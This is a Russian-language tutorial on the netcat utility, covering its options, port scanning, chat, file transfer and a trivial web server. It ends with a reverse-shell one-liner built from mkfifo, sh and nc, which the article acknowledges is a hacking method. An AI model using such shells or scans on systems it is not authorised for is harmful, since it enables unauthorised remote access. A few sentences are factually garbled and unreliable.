Команда netcat
необходима для передачи и получения данных протоколами TCP и UDP. Она не отличается большим набором функций, но при этом её достаточно для проверки соединения и несложной отладки. Как общаться посредством протокола TCP? Этим вопросом задаются многие пользователи. В этой статье ответим на этот вопрос, с также покажем примеры реального применения команды.
Команда netcat
(или nc
) — это мощный инструмент для работы с сетевыми соединениями. Она часто используется системными администраторами и разработчиками для различных задач. Вот основные функции и возможности netcat
:
netcat
является универсальным инструментом, который может быть использован в самых разных сценариях, от простого обмена сообщениями до сложных сетевых операций.
Для начала рассмотрим синтаксис и наиболее востребованные:
-6
– использовать протокол IPv6. По умолчанию используется параметр -4 и IPv4 соответственно;-h
– вывести справку со списком доступных параметров;-i
- задержка – добавить задержку между отправкой строк или сканированием портов. Задаётся в секундах;-l
– режим прослушивания. Используется с указанием порта;-N
– закрыть соединение при достижении конца файла при его отправке;-n
– Работать с IP-адресами напрямую, не задействуя DNS, также отключить поиск портов;-P
- user_name – указать имя пользователя для подключения к прокси;-x
- address:port – указать адрес и порт для подключения к прокси;-p
- port – указать номер порта. В большинстве случаев порт считывается без указания параметра;-U
– использовать сокет домена UNIX (для межпроцессного взаимодействия);-u
– использовать протокол UDP, по умолчанию используется TСP;-v
– подробный режим. Используется при сканировании;-W
количество_пакетов – закрыть соединение после получения определённого количества пакетов;-w
таймер – включить таймер для ограничения времени соединения. Задаётся в секундах;-z
– отключить отправку данных. Используется при сканировании.Команда имеет следующий вид (параметры адрес порт):
$ nc
Дальше расскажем о способах применения команды.
Проверка – главное применение netcat
. Следует использовать два параметра -vz
, указать адрес и порт. Вы можете указать диапазон адресов, но в этом случае лучше отсеять только открытые порты с помощью команды grep
. Проверим порты адреса локальной сети:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
Таким же способом просканируем порты UDP, добавив параметр -u
:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
При этом нужно знать главное отличие TCP и UDP. Так в UDP порты всегда доступны.
Для прослушивания порта предназначен параметр -l
. Его зачастую достаточно, но можете включить подробный режим:
$ nc -nlv 8080
Помните, что при использовании протокола TСP порт должен быть в свободен, иначе появится ошибка Already in use. При этом не все порты могут использовать обычные пользователи, например, 80 порт (HTTP), скорее всего, он будет занят другим процессом, и к тому же потребует прав суперпользователя.
Полезная способность команды - обмен данными. Простой пример – текстовый чат. Для того, чтобы запустить чат на одном компьютере запускаем утилиту в режиме прослушивания порта:
$ nc -lp 8080
На другом компьютере потребуется указать адрес первого компьютера и тот же самый порт. Также не забудьте проверить, что порт открыт:
$ nc 0.0.0.0 8080
Таким способом удастся отправлять и получать сообщения. То есть, команда предназначена для обмена файлами. Принцип такой же, за тем исключением, что необходимо перенаправить вывод в файл, а именно в paste.txt
:
$ nc -l 8080 > paste.txt
На другом ПК вводом будет служить файл copy.txt
. Не лишним будет использовать параметр -N
, чтобы после передачи файла закрыть соединение:
$ nc -N 0.0.0.0 8080 < copy.txt
Для передачи файлов важно соблюсти последовательность, сначала открыть прослушивание и лишь потом отправлять файл. Команда nc – рабочий, но далеко не самый лучший способ передачи файлов. Есть для решения этой задачи более эффективные и полезные инструменты.
Поскольку команда NC не функционирует с протоколом TСP, она позволяет и отправлять, и получать запросы HTTP. Следовательно, утилита может стать простейшим веб-сервером. Да, ничего хитрей страницы-заглушки таким образом нельзя сделать, н операция практически не отнимет времени, а еще плюс в том, что не нужно ничего дополнительно инсталлировать.
На примере сформируем ответ HTTP с файлом index.html
. Если же говорить о самой np, то не лишним будет установить таймер параметром -w 1
, чтобы разорвать соединение, если этого не сделает браузер:
$ while true; do echo -e "HTTP/1.1 200 OK\n\n$(cat index.html)" | nc -l -w 1 -p 8080; done
Чтобы получить данные с веб-сайта, вы можете сформировать запрос и отправить его на советующий адрес и порт. Но такой способ довольно сложный, лучше использовать соответствующую CURL команду.
Исходя из рассмотренных выше примеров, не составит прийти к выводу, что команда позволяет организовать удалённый доступ к оболочке компьютера. Ранее утилита NC имела несколько параметров для открытия доступа к терминалу. Параметр -e
уже давно убрали из утилиты, поэтому простого доступа к терминалу уже не будет. Безопасность самого приложения стала выше, но оно по-прежнему может работать в связке с другими.
Покажем подключение с помощью именованного канала mkfifo. В первую очередь запустим прослушивание порта на том ПК, на котором будем получать доступ:
$ nc -lvnp 8080
Перейдём непосредственно к команде для открытия терминала. Сначала удалим старый именованный канал (rm /tmp/f
), на его месте создадим новый (mkfifo /tmp/f
), прочитаем его содержимое (cat /tmp/f
), а на его вывод отправим команду оболочки (sh -i 2>&1
). После этого останется запустить nc с выводом в наш именованный канал (nc 0.0.0.0 8080 >/tmp/f
):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Следует учитывать, что это один из способов взлома, однако, он может быть полезен в случае появления проблем с ssh
. Для того, чтобы предотвратить атаку настраивайте политику безопасности и межсетевой экран.